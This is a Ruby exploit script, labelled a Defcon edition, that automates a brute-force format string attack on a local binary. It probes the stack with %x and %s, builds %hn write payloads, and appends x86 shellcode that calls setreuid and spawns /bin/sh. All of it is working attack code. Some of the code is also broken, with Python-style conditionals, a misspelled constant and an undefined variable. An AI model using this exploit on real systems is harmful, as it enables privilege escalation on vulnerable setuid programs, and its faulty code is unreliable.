#!/usr/bin/env ruby =begin Created by Paul Haas , licensed under the GPLv3 Defcon Edition: Perform a bruteforce, invasive automatic format string exploit on a given binary. =end # Step 1: Init binary = ARGV.length > 0 ? ARGV[0] : './printf' EXPSTR = "%08s%%%05ic%%%03i$hn%%%05ic%%%03i$hn" # 36 Characters EXPLALT = "%08s%%%000000012ic%%%03i$hn%%%03i$hn" # 36 Characters SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" # setreuid(geteuid(),geteuid());execve("/bin/sh",0,0); NOP = "\x90" # Used for 1-3 character padding EXPLEN = EXPSTR.length MAXLEN = EXPLEN + SHELLCODE.length # <100 characters depending on SHELLCODE def create_format_exploit(saddress,soffset,sadjust,overwrite) # Create an exploit string from the given parameters. overstr = [overwrite,overwrite+2].pack('V*') # 32bit only w1 = saddress & 0x0000FFFF # Assumes 32bit address w2 = (saddress & 0xFFFF0000) >> 16 # Assumes 32bit address if w1 < w2: exploit = EXPSTR % [overstr, w1-overstr.length, soffset, w2-w1, soffset+1] elsif w2 < w1: exploit = EXPSTR % [overstr, w2-overstr.length, soffset+1, w1-w2, soffset] else exploit = EXPALT % [overstr, w1-overstr.length, soffset, soffset+1] end exploit += (NOP * sadjust) + SHELLCODE return exploit end # Step 2: Dump stack = '' for offset in 1..999 format = "%%%03i$x" % offset format += "\n" * (MAXLEN-format.length) stdin = IO.popen("%s '%s'" % [binary,format],"rb").read.strip.hex stack += [stdin].pack('V*') found = stack.index("%%%03i$x" % (offset-1)) if found SOFFSET, SADJUST = found/4+1, found%4 break end end # Step 3: Decode for offset in 1..999 format = "%%%03i$s" % offset format += "\n" * (MAXLEN-format.length) stdin = IO.popen("%s '%s'" % [binary,format],"rb").read.strip if stdin.index("%%%03i$s" % offset) format = format.sub('$s','$p') SADDRESS = IO.popen("%s '%s'" % [binary,format],"rb").read.strip.hex + EXPLEN break end end # Step 4: Exploit STARTOFFSET = SADDRESS - EXPLEN - SADJUST - (4*SOFFSET) for overwrite in (STARTOFFSET...SADDRESS).step(4) if overwrite > 0xFFFFFFFD: next # (RangeError): 0xFFFFFFE + 2 end exploit = create_format_exploit(SADDRESS,SOFFSET,SADJUST,overwrite) if exploit.index("\x00"): next # string contains null byte (ArgumentError) end system("%s '%s'" % [binary, exploit]) # SOFFSET+4 may be neccessary due to string adjust + stack alignment issues exploit = create_format_exploit(SADDRESS,SOFFSET,SADJUST+4,overwrite) if exploit.index("\x00"): next # string contains null byte (ArgumentError) end system("%s '%s'" % [binary, exploit1]) end